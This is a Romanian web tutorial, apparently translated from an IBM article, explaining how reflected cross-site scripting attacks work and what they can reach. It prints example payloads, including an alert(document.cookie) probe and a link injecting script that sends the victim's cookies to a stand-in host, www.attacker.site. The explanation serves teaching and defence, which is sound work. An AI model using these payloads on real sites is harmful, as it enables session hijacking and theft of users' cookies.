E-learn.ro
Panou utilizatori
Utilizator Parola
Creeaza cont nou    Recupereaza parola
Login
Newsletter
Introdu adresa ta de email
Inscrie-te
Inchide panoul de utilizatori
Add to Google

Tutoriale Javascript

Descarca toolbar

Toolbar E-learn.ro Facebook Twitter

WEB DEVELOPMENT  /  Javascript  /  Diverse (7)

Explicarea scriptarii cross-site

19.08.2008
Explicarea scriptarii cross-site

IBM Rational AppScan: Explicarea scriptarii cross-site
Invata cum lanseaza hackerii atacuri de scriptare cross-site (XSS), ce prejudicii produce acesta (si ce prejudicii nu produce), cum sa le detectezi, si cum sa iti feresti site-ul web si pe vizitatorii acestuia de aceste invazii malitioase impotriva intimitatii si a securitatii.

Total vizualizari: 4929 4929 afisari   |   Comentarii  0   |   Rating   |   (5 voturi)   |   Timp necesar: 25 min 25 min   |   Nivel de cunostiinte necesar: Mediu  Mediu

Sursa:  www.ibm.com/developerworks  
Autor:  Amit Klein
Adauga la tutoriale favorit Adauga la tutoriale favorite
Pagina:
1 2 »
comenteaza printeaza

Ce se intampla intr-un atac de scriptare cross-site?

Scriptarea cross-site (pe scurt - XSS) reprezinta una dintre cele mai raspandite atacuri la nivel de aplicatie, pe care hackerii o folosesc pentru a se furisa in aplicatiile Web. XSS reprezinta un atac la intimitatea clientilor unui anume site Web, care poate duce la o incalcare totala a securitatii atunci cand datele clientului sunt furate sau manipulate. Majoritatea atacurilor implica doua parti: fie atacatorul si site-ul web, fie atacatorul si clientul-victima. Spre deosebire de acestea, atacul XSS implica trei parti: atacatorul, clientul, si site-ul web.

Scopul atacului XSS este acela de a fura cookie-urile client sau alte informatii sensibile care pot identifica clientul cu site-ul web. Cu marturia utilizatorului legitim in mana, atacatorul poate actiona in calitate de utilizator in interactiunea cu site-ul, dandu-se deci drept insusi utilizatorul. De exemplu, intr-o revizie contabila efectuata pentru o companie mare, era posibil sa vezi numarul cartii de credit a utilizatorului si la informatiile cu caracter privat folosind un atac XSS. Acest lucru putea fi realizat prin rularea de cod malitios JavaScript asupra victimei - browserului client, cu accesarea autorizatiei site-ului Web site. Aceastea sunt autorizatii JavaScript foarte limitate, care, in general, nu permit scriptului sa acceseze nimic in afara informatiilor care au legatura cu site-ul. Este important sa subliniem faptul ca, desi vulnerabilitatea exista pe site-ul Web, nu se va intampla niciodata ca site-ul Web sa fie direct afectat. Totusi, este suficient ca scriptul sa adune cookie-urile si sa le trimita catre atacator. Ca rezultat, atacatorul obtine cookie-urile si se da drept victima.

Explicarea tehnicii XSS

Sa numim site-ul situat sub atac: www.vulnerable.site. La baza unui atac XSS traditional sta un script vulnerabil din site-ul vulnerabil. Acest script citeste o parte din solicitarea HTTP (de obicei parametrii, insa uneori si antetele si calea HTTP) si o reverbereaza inapoi in pagina de raspuns, in intregime sau partial, fara a o curata mai intai (si neasigurandu-se deci ca aceasta nu contine cod JavaScript, si nici etichete HTML.) Sa presupunem, prin urmare, ca acest script se numeste welcome.cgi, si ca parametru sau este name. El poate fi operat astfel:

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site

Raspunsul ar fi:

<HTML>
  <Title>Welcome!</Title>
  Hi Joe Hacker <BR>
  Welcome to our system ... 
</HTML>

Cum poate acesta sa fie abuzat?

Ei bine, atacatorul reuseste sa momeasca victima-client astfel incat aceasta sa dea click pe un link pe care atacatorul il furnizeaza utilizatorului. Acesta este un link atent si malitios elaborat, care determina browserul web al victimei sa acceseze site-ul (www.vulnerable.site) si sa invoce scriptul vulnerabil. Datele de scriptare constau in JavaScript care acceseaza cookie-urile pe care browserul client le-a stocat pentru site-ul www.vulnerable.site. Acest lucru este permis, deoarece browserul client "simte" JavaScript-ul venind de pe www.vulnerable.site, iar modelul de securitate JavaScript permite scripturilor care vin de pe un anumit site sa acceseze cookie-uri care apartin de acel site.

Un asemena link arata precum cel de mai jos:

http://www.vulnerable.site/welcome.cgi?name=
<script>alert(document.cookie)</script>

Victima, atunci cand da click, va genera o solicitare catre www.vulnerable.site, dupa cum urmeaza:

GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site ...

Raspunsul site-ului vulnerabil ar fi:

<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system ...
</HTML>

Browserul clientului-victima ar interpreta acest raspuns ca pe o pagina HTML care contine un fragment de cod JavaScript. Acestui cod, la executare, i se permite sa acceseze toate cookie-urile care apartin de www.vulnerable.site. Prin urmare, va deschide o fereastra in browserul clientului, aratand toate cookie-urile client care apartin site-ului www.vulnerable.site.

Desigur, un atac real ar consta in trimiterea acestor cookie-uri catre atacator. In vederea acestui lucru, atacatorul poate realiza un site Web (www.attacker.site) si folosi o secventa de instructiuni pentru a primi cookie-urile. In loc sa deschida o fereastra, atacatorul ar putea scrie un cod care sa acceseze un URL catre www.attacker.site, invocand prin aceasta un script de primire a cookie-ului, cu un parametru constand in cookie-urile furate. In acest mod, atacatorul poate obtine cookie-urile din serverul www.attacker.site.

Link-ul malitios ar fi:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
  .cgi?cookie="%2Bdocument.cookie)</script>

Iar pagina de raspuns ar arata astfel:

<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>

Browserul, imediat la incarcarea acestei pagini, va executa JavaScript-ul inglobat si va trimite o solicitare catre scriptul collect.cgi din www.attacker.site, cu valoarea cookie-urilor de pe site-ul www.vulnerable.site, de care broweserul deja dispune. Acest lucru compromite acele cookie-uri de pe www.vulnerable.site pe care clientul le are, permitand atacatorului sa se dea drept victima. Intimitatea clientului este complet incalcata.

Nota:
Cauzarea deschiderii ferestrei pop-up JavaScript este de obicei indeajuns pentru a demonstra ca site-ul este vulnerabil la un eventual atac XSS. Daca functia JavaScript Alert poate fi apelata, de obicei nu exista nici un motiv pentru ca deschiderea ferestrei sa nu se produca cu succes. De aceea, majoritatea exemplelor de atacuri XSS folosesc functia Alert, ceea ce face foarte usoara detectarea succesului sau..

Scop si fezabilitate

Atacaul se poate produce doar pe browserul victimei, acelasi care a fost folosit pentru a accesa site-ul (www.vulnerable.site). Atacatorul are nevoie sa forteze clientul sa acceseze link-ul malitios. Acest lucru se poate produce in urmatoarele moduri:
- Atacatorul trimite un mesaj e-mail care contine o pagina HTML ce forteaza browserul sa acceseze link-ul. Acest lucru necesita ca victima sa foloseasca clientul e-mail cu HTML activat, iar vizualizatorul HTML la client este acelasi browser care este folosit pentru accesarea www.vulnerable.site.
- Clientul viziteaza un site, probabil operat de catre atacator, unde un link catre o imagine sau un HTML activat in alt mod HTML il forteaza pe browser sa acceseze linkul. Din nou, este absolut obligatoriu ca acelasi browser sa fie folosit atat pentru accesarea acestui site cat si pentru site-ul www.vulnerable.site.

JavaScript-ul malitios poate accesa oricare dintre urmatoarele informatii:
- Cookie-uri permanente (www.vulnerable.site) intretinute de catre browser
- Cookie-uri RAM (ale www.vulnerable.site) intretinute de aceasta parte a browserului, numai cand cauta in mod activ in www.vulnerable.site
- Numele altor ferestre deschise in site-ul www.vulnerable.site
- Orice informatie care este accesibila prin DOM (din valori, cod HTML, si asa mai departe)

Marturiile de identificare, autentificare, si autorizare, sunt de obicei pastrate ca cookie-uri. Daca aceste cookie-uri sunt permanente, victima este vulnerabila atacului chiar si atunci cand nu foloseste in mod curent browserul pentru a accesa adresa www.vulnerable.site. Daca, totusi, cookie-urile sunt temporare, cum ar fi cookie-urile RAM, atunci clientul trebuie sa se afle in sesiune cu site-ul www.vulnerable.site.

O alta posibila implementare pentru o marturie de identificare este un parametru URL. In asemenea cazuri, este posibila accesarea altor ferestre prin utilizarea JavaScript in urmatorul mod ( presupunand ca numele paginii cu parametrii URL necesari este un foobar):

<script>var victim_window=open(","'foobar');
alert('Can access:' +victim_window.location.search)</script>

Pagina:
1 2 »
comenteaza printeaza
Alte tutoriale Javascript:
Noteaza acest tutorial
Rating tutorial
 
(5 voturi)
Pentru a nota acest tutorial, trebuie sa fii logat!
Posteaza un comentariu
Pentru a posta un comentariu, trebuie sa fii logat!
0 TOP UTILIZATORI* 0 0
Tutoriale scrise de claibornelara
claibornelara Rang utilizator claibornelara - Incepator
4170
Tutoriale scrise de kheops
kheops Rang utilizator kheops - Mediu
4084
Tutoriale scrise de ellarichards
ellarichards Rang utilizator ellarichards - Incepator
4080
Tutoriale scrise de mcuemica
mcuemica Rang utilizator mcuemica - Incepator
4055
Tutoriale scrise de emonclercheap
emonclercheap Rang utilizator emonclercheap - Incepator
3870
* Acest top reprezinta punctajele acumulate in ultimele 30 de zile.
Fireworks MySQL SWF Excel JSON AJAX Swift 3D SEO XHTML RoR PHP Bridge Vista XML Photoshop Powerpoint CSS PSD Fotografie Ruby on Rails COREL DRAW Word Sony Vegas HTML Javascript Gimp Verilog Dreamweaver Action Script Illustrator Outlook Python Lightroom Java StyleSheet Flash
Promovare:
Daca faci parte din comunitatea E-learn.ro si doresti promovarea acesteia, poti accesa pagina de promovare.
Arhiva newsletter:
Daca ai ratat un numar mai vechi, sau vrei sa revezi care au fost noutatile E-learn.ro la un moment dat, poti accesa arhiva de newslettere.
  Copyright © 2008-2013 E-LEARN.ro. Toate drepturile rezervate. Termeni si conditii.
Conceput si realizat de Neokinetics Software